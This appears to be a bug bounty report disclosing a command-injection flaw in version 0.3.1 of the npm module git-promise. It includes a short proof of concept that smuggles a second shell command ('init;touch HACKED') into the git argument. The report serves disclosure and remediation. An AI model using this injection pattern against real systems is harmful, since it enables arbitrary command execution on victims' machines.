How it was found

I would like to report a RCE issue in the git-promise module. It allows to execute arbitrary commands remotely inside the victim's PC

Module

module name: git-promise version: 0.3.1 npm page: https://www.npmjs.com/package/git-promise

Module Description

Simple wrapper that allows you to run any git command using a more intuitive syntax.

Module Stats

[~1.5k] downloads in the last day [11,322] downloads in the last week [~45k] downloads in the last month

Vulnerability Description

The issue occurs because a user input is formatted inside a command that will be executed without any check. The issue arises here: https://github.com/piuccio/git-promise/blob/master/index.js#L9

Steps To Reproduce:

1. Create the following PoC file:

// poc.js
var git = require("git-promise");
 
git("init;touch HACKED").then(function (branch) {
  console.log(branch); // This is your current branch
});

1. Check there aren't files called HACKED
2. Execute the following commands in another terminal:

npm i git-promise # Install affected module
node poc.js #  Run the PoC

1. Recheck the files: now HACKED has been created :) {F624221}

Patch

Don't format commands using insecure user's inputs :)

Supporting Material/References:

• [OPERATING SYSTEM VERSION]: Kali Linux

Wrap up

• I contacted the maintainer to let them know: [N]
• I opened an issue in the related repository: [N]

Impact

RCE via command formatting on git-promise